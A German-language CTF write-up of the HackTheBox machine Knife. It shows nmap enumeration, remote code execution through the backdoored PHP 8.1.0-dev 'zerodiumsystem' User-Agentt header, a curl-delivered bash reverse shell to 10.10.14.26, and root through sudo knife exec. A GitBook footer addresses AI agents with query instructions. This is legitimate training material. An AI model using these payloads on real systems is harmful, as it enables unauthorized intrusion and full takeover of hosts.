> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Knife mit Abdeckung von PHP 8.1.0-dev - Remote Code Execution (RCE) über „User-Agent“, Missbrauch von Sudoers-Privilegien (Knife-Binärdatei) (Privilegieneskalation), mit praktischer Enumerati

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Fähigkeiten:

* PHP 8.1.0-dev - 'User-Agent' Remote Code Execution (RCE)
* Ausnutzung der Sudoers-Berechtigung (Knife-Binärdatei) (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9ad056ada2d24c53e6f8fe098526bddb8c1af0a%2F%7BEE253AC9-7772-41F8-9BF0-FEEA0B28310E%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba2af2625c8e47bbb982ec950490fbe5cbde2613%2Fimage%20(965).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2389b996491a109e99d5e99ecced97d9e6da07%2F%7B6265CB65-8828-40B2-8808-99EB369C51DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e2d5cdf30c7d7251d8ccf52300e210b76303779%2F%7B6B2860F0-3B0F-47EE-BA9E-A790D67446EE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e60651f6befc3383330e81d86e55a07d7157e0c%2F%7B3CD8FB85-8D30-4D80-941A-AE3D16241BF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbf59d7b7b0dbfabc9b6f99767315667cfa6ed37%2Fimage%20(966).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit der **WhatWeb** Mit dem Tool identifizieren wir eine verwundbare PHP-Version:

```bash
whatweb http://10.10.10.242
# Ergebnis: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b7cc045ffef3ca1dadaaf5b0bb409dabc53206%2Fimage%20(967).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Ausnutzung - RCE über `User-Agent`**

Eine mit dem PHP-User-Agent dieser Version verbundene Schwachstelle wird identifiziert.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Eine Schwachstelle in `User-Agent` ermöglicht die Ausführung von Remote-Code.

1. **Einfache Befehlsausführung**/ Sende eine HTTP-Anfrage mit einem modifizierten `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Ergebnis: Die Benutzergruppe `james` erscheint in der Antwort.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-484e31f3f1e6b22ef4ae83a77a14488f20f66d4b%2Fimage%20(969).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Reverse Shell erhalten**/ Richte auf deinem Rechner einen Listener ein:

```bash
nc -nvlp 443
```

Sende dann den Befehl, um eine Reverse Shell auszuführen:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5888306f3be3421b86cc69e2507fec02dfa35a9e%2Fimage%20(970).png?alt=media" alt=""><figcaption></figcaption></figure>

3. **Verbessertes Shell-Erlebnis**/ Das Terminal interaktiver machen:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge User.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d511bbeb67055fea4a6004a146a142f924d49ebc%2Fimage%20(971).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

**Analyse der Sudo-Berechtigungen**

Durch das Ausführen von `sudo -l`beobachten wir, dass der Benutzer die `knife` Binärdatei als root ausführen kann:

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

Diese Binärdatei wird auf GTFOBins als zur Rechteausweitung geeignet aufgeführt.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausnutzung**

Verwenden Sie den obigen Befehl, um eine Root-Shell zu erhalten.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0fc531b03eb86b4bb1db3964e43d45315e4cfe67%2Fimage%20(973).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9870c843f867046a1fd36e9516acfd0917ddb457%2F%7B596F43C4-0308-44B2-93F2-FD4003DA47F5%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
